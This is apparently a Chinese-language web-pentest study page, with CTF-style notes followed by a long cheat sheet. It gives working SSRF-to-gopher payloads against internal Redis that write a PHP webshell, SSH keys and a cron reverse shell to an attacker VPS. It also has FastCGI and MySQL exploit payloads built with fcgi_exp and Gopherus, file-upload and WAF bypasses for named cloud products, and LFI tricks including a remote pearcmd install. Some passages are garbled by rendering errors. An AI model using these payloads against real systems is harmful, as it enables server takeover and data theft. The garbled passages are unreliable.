ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下所示,成功在主机192.168.52.131上面写入WebShell:
写SSH公钥
同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。
构造redis命令:
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后编写脚本,将其转化为Gopher协议的格式:
import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:
ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27ZxGOcRR95FT6zrfFxqt2h56oLwml%2FTrxy5sExSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe%252BXqQnjxtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下图,成功在主机192.168.52.131上面写入SSH公钥:
如下图,ssh连接成功:
创建计划任务反弹Shell
注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。
构造redis的命令如下:
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.107/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
// 47.xxx.xxx.107为攻击者vps的IP
然后编写脚本,将其转化为Gopher协议的格式:
import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
reverse_ip="47.xxx.xxx.107"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:
[GKCTF2020]EZ三剑客-EzWeb这道题利用的就是攻击内网Redis的思路。
攻击内网FastCGI
FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。
众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,而动态网站需要一个额外的编译解析的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以FastCGI的主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。
php-fpm
FPM(FastCGI 进程管理器)可以说是FastCGI的一个具体实现,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
攻击FastCGI的主要原理就是,在设置环境变量实际请求中会出现一个
SCRIPT_FILENAME': '/var/www/html/index.php
这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在PHP 5.3.9后来的版本中,PHP增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在PHP允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改PHP的设置。
那么当设置PHP环境变量为:
auto_prepend_file = php://input;allow_url_include = On
时,就会在执行PHP脚本之前包含环境变量
auto_prepend_file
所指向的文件内容,
php://input
也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
详情请见:《SSRF系列之攻击FastCGI》
测试环境:
WEB服务器Ubuntu(192.168.43.166)存在SSRF漏洞:
并且WEB服务器Ubuntu上存在FastCGI,那么我们就可以利用其SSRF漏洞去攻击其本地的FastCGI。
假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行。
当内网中的其他主机上配置有fpm,且监听的地址为0.0.0.0:9000时,那么这台主机就可能存在php-fpm未授权访问漏洞,我们便可以利用Ubuntu服务器上的SSRF去攻击他,如果内网中的这台主机不存在php-fpm未授权访问漏洞,那么就直接利用Ubuntu服务器上的SSRF去攻击他显然是不行的。
使用fcgi_exp工具攻击
下载地址:https://github.com/piaca/fcgi_exp
这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。
该工具需要go语言环境,下载后进入目录执行如下命令进行编译:
go build fcgi_exp.go # 编译fcgi_exp.go
编译完成后,我们在攻击机上使用
nc -lvvp 2333 > fcg_exp.txt
监听2333 端口来接收fcgi_exp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:
./fcgi_exp system 127.0.0.1 2333 /var/www/html/index.php "id"
生成的fcg_exp.txt文件的内容是接收到的payload,内容如下:
然后对fcg_exp.txt文件里的payload进行url编码,这里通过如下脚本实现(脚本是我从网上白嫖的嘿嘿):
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
执行上面的python脚本生成如下payload:
这里还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去:
ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E
如下图所示,命令执行成功:
使用Gopherus工具攻击
下载地址:https://github.com/tarunkant/Gopherus
该工具可以帮你生成符合Gopher协议格式的payload,以利用SSRF攻击Redis、FastCGI、MySql等内网应用。
使用Gopherus工具生成攻击FastCGI的payload:
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
id # 输入一个你要执行的命令
然后还是将得到的payload进行二次url编码,将最终得到的payload放到?url=后面打过去过去:
ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
命令执行成功。
攻击内网MySql
首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。
登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。
测试环境如下:
Ubuntu服务器为WEB服务器,存在SSRF漏洞,且上面运行着MySql服务,用户名为whoami,密码为空并允许空密码登录。
下面我们还是使用Gopherus工具生成攻击Ubuntu服务器本地MySql的payload:
python gopherus.py --exploit mysql
whoami # 登录用的用户名
show databases; # 登录后要执行的sql语句
生成如下payload:
将得到的paylaod进行url二次编码,然后将最终的payload内容放到?url=后面发送打过去就行了。但是我这里失败了,不知道为什么…
Ending…
推荐一个SSRF练习靶场:
该靶场有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。配置请看:https://www.heibai.org/post/1287.html
本文多为笔者的学习总结,若有不当的地方还望各位经过的路过的大佬多多点评。
文件上传
前端JS验证
删除/禁用/修改js
抓包修改:1.jpg改为1.php
内容检查
文件头
jpeg:FF D8 FF E0 00 10 4A 46 49 46
png:89 50 4E 47
gif:47 49 46 38 39 61 (GIF89a)
getimagesize()/image_type_to_extension()/exif_imagetype()
给上传脚本加上相应的头字节进行绕过,例如
GIF89a <?php phpinfo(); ?>
黑名单
解析漏洞
apache
后缀名从右往左进行缀解析,php.yj 绕过
上传.htaccess文件绕过
AddType application/x-httpd-php .jpg
nginx
a.php%00.jpg----解析为a.php
yj.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件
上传.user.ini:
auto_prepend_file=1.jpg
iis 6.0
fck编辑器
目录解析:xx.asp目录里面的文件(放个图片马)都会被当作asp文件来执行 / 文件名中含有".asp;"的会优先按asp来解析
文件名解析:xxx.asp;1.jpg / 重命名文件
asa/cer证书/cdx复保索引 无法使用
iis 7.0/7.5
默认fast-cgi开启情况下,在文件路径后面加上/xx.php会将原来的文件解析为php文件
nullbyte:系统自动截断
php<=5.2:a.php.jpg–bp截断–hex–最后一个点:2e-改为00
ewebeditor后台可以修改白名单
常规方式
特殊文件后缀
php、php3、php4、php5、phpt、phtml
大小写/双写
windows文件流
php在windows下如果文件名+“::
D
A
T
A
"
会
把
:
:
DATA"会把::
DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名且保持”::$DATA"之前的文件名
操作系统特性:1.jpg 空格 / 1point.jpg. / 2point.jpg…
白名单
MIME types 验证
抓包修改Content-Type
image/jpeg & image/png & image/gif &
application/octet-stream : 二进制流数据(如常见的文件下载)
multipart/form-data :文件上传
application/pdf & application/msword
图片马
Windows:copy a.jpg/b+yi.asp/a b.jpg
Linux:echo 一句话内容 > a.jpg
十六进制编辑器在其中的大片00字节处插入php代码,多用于二次渲染绕过.
截断
GET %00截断
POST 00截断(二进制修改)
其他
注意负载均衡:条件竞争!
远程下载文件绕过
文件包含
HTTP请求填充垃圾数据绕过
WAF专题
安全狗绕过
1.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;
2.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
3.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
4.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
5.双文件上传绕过
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
6.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
7.HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
8.等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等
WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
文件包含
基础
reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句
include() :如果出错的话,只会提出警告,会继续执行后续语句
require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题
利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析
本地文件包含
字典
php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)
php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://test.zip/phpinfo.txt
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://input & POST: `<? phpinfo();?>`
php://input:?file=php://input & POST:
<? phpinfo();?>
php://filter:index.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)
phar://:index.php?file=phar://test.zip/phpinfo.txt(php>=5.3.0)
zip://:index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt(php>=5.3.0,%23为#,只能用绝对路径)
data:URI schema
index.php?file=data:text/plain,
<?php phpinfo();?>
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
包含session
常见存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
利用SESSION_UPLOAD_PROGRESS
// TODO
远程文件包含
利用方式:include.php?file=http://xxx.com/1.txt
特殊方式
包含日志文件
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。某些场景中,log的地址是被修改掉的,可以通过读取相应的配置文件后,再进行包含。
SSH log
shell连接ssh
sh '<?php phpinfo(); ?>'@host
,密码随便输,之后包含host的ssh-log即可
包含environ
利用条件:php以cgi方式运行,这样environ才会保持UA头;environ文件存储位置已知,且environ文件可读。
/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含fd
LFI Cheat Sheet (highon.coffee)
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
load data infile
??从一道ctf题学习mysql任意文件读取漏洞-安全客 - 安全资讯平台 (anquanke.com)
路径获取
直接获得:通过返回包获取/右键查看地址
查看源代码或者本地搭建
根据经验猜测
通用的路径:/img、/images、/upload、/uploads、/file
分析网站结构
爬虫
分析网站命名方式
上传文件保存在另外服务器上
绕过
目录遍历:…/
编码绕过
利用url编码:%2e%2e%2f = …%2f = %2e%2e/
二次编码:%252e%252e%252f = %252e%252e%255c
容器/服务器的编码方式:…%c0%af ;%c0%ae%c0%ae/ (Tomcat)
指定后缀
? / #(%23)
长度截断:重复./
利用条件: php < 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复
./
0字节截断:?file=phpinfo.txt%00
利用条件: php < 5.3.4
特殊姿势
利用
include
函数解 urlencode 的特性来编码绕过
包含pearcmd装马:/?include=/usr/local/lib/php/pearcmd.php&+install+http://yourhost/cmd.php
在phpinfo中如果看到
register_argc_argv
开放,可以获取外部的参数,以
+
作为分隔符
其他姿势请参考:CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)
反序列化
PHP
Java
框架
Python
其他
其他
Clickjacking(点击劫持)
HEREDOC
JSPFUCK
Web Assembly
整数溢出
Hash长度拓展攻击
代码审计(PHP)
XSS
print()
printr()
echo
printf()
sprintf()
die()
var_dump()
var_export()
代码执行
函数
- eval()
- assert()
- preg_repace()
- create_function()
- array_map()
- call_user_func()
- call_user_func_array()
- array_filter()
- usort()
- uasort()
过滤与bypass
- 利用各种函数的返回值进行拼接
- 利用^符号异或出想要的东西
- 利用等价表达式- _- 空格- .
文件包含
include()
include_once()
require()
require_once()
文件读取(下载)
file_get_contents()
highlight_file()
fopen()
readfile()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
sort()比较鸡肋
命令执行
相关函数
- system()
- exec()
- shell_exec()(反引号也可以)
- passthru()
- pcntl_exec()
- popen()
- proc_open()
- create_function()这个是逃逸后可以命令执行
过滤与bypass
- disable_function- ld_preload- php_gc
- 限制命令长度
- 限制回显长度
- 过滤字符- 空格bash环境- <- ${IFS}- $IFS$9- %09- 某些函数名- 截断符号- fuzz得出没被过滤的- 利用base编码绕过- 用两个单引号比如命令 cat /etc/passwd等价于 cat /etc/pass’w’d
文件上传
move_uploaded_file()
文件删除
unlink()
session_destroy()(老版本)
变量覆盖
extract()
parse_str
- 无第二个参数会引起变量覆盖
import_request_variables()
for each($_GET as
k
e
y
=
>
key=>
key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value
register_globals
弱类型比较
、=、!==、!=
- md5,sha1的==绕过
is_numeric
- 16进制编码绕过
- %00放在数字开头或者结尾,%20放在开头都能使函数返回false
in_array
弱不相等却md5值相等的情况
只需要利用NaN(float)和’NaN’(string)即可(INF等同理)
PHP黑魔法
md5
- 绕过sql,md5(‘ffifdyop’,true)= 'or’6xxx当raw设置为true时输入 ffifdyop 可以对单引号进行闭合经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。这样的话就会和前面的形成闭合,构成万能密码;
- 弱类型绕过和强类型绕过
eval
- 可使用分号构造出多条语句
ereg
- 存在%00截断
strcmp
影响版本
PHP5.3 及以下
- 无法处理数组并将return 0
ascii
- 传进去的是字符串只会截取第一个字符进行处理
curl_setopt
- 存在可能的SSRF
preg_replace
- 第二个参数使用 /e模式导致代码执行
urldecode
- url二次编码绕过
include
include函数有这么一个神奇的功能:若以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。(存疑)
__wakeup
(CVE-2016-7124)
影响版本:
· PHP before 5.6.25
· 7.x before 7.0.10
- 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行
open_basedir
PHP5.x
- 可绕过并进行任意文件读取(两种方法)
in_array()
- 第三个参数如果设置为FALSE,就存在注入点
spl_autoload_register
- 配合文件上传可以getshell
create_function()
- 代码注入
file_get_contents
- 经常用伪协议绕过
mt_rand
- SEED相关的安全性问题
sprintf
- 格式化字符串漏洞
parse_url
- 可用于绕过某些过滤
preg_match
可绕过进行代码执行,见P神的文章
通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
回溯次数上限pcre.backtrack_limit相关的安全问题
%0A,%0D 参数污染相关问题
intval
- 类型转换上限
Session绕过
删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。
file_put_contents
第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。
json_encode/decode
json_encode:将数组转换为json,只支持utf8格式的数据。json_encode 会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。
json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。
json_decode:可以当作mysql的分隔符: 空格 + \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B
几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过
举例:
md5,sha1,strpos
- ereg
- MD5
- sha1
- strpos
- strcmp
未exit(),return()引发的相关问题
伪静态绕过
变量特性
ignore_user_abort
- 并发漏洞
$_SERVER[‘QUERY_STRING’]
- 不会像$_GET一样进行urldecode
disable_functions
- 有七种做法进行绕过
- 可以试试蚁剑的插件
反序列化漏洞
对各种魔法函数的理解
- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __destruct() //对象被销毁时触发
- __construct()//对象创建时自动调用
- __call() //在对象上下文中调用不可访问的方法时触发
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
- __isset() //在不可访问的属性上调用isset()或empty()触发
- __unset() //在不可访问的属性上使用unset()时触发
- __toString() //把类当作字符串使用时触发
- __invoke() //当脚本尝试将对象调用为函数时触发
pop链的构造
- 寻找位点
- 正向构造切入点——__wakeup()——其他
- 反向推理从flag开始推起
phar与反序列化
由于替换引起的反序列化字符串逃逸
绕过正则
if (preg_match(‘/[oc]:\d+:/i’, ‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则
逻辑漏洞
用户名和密码分开验证
下单和扣款的先后顺序
技巧相关
小型代码
- 寻找输入点
- 对针对输入点的过滤进行绕过
- 在处理输入的函数中寻找漏洞
- 进行利用
大型代码
- 寻找危险函数
- 向上回溯 寻找可用输入点
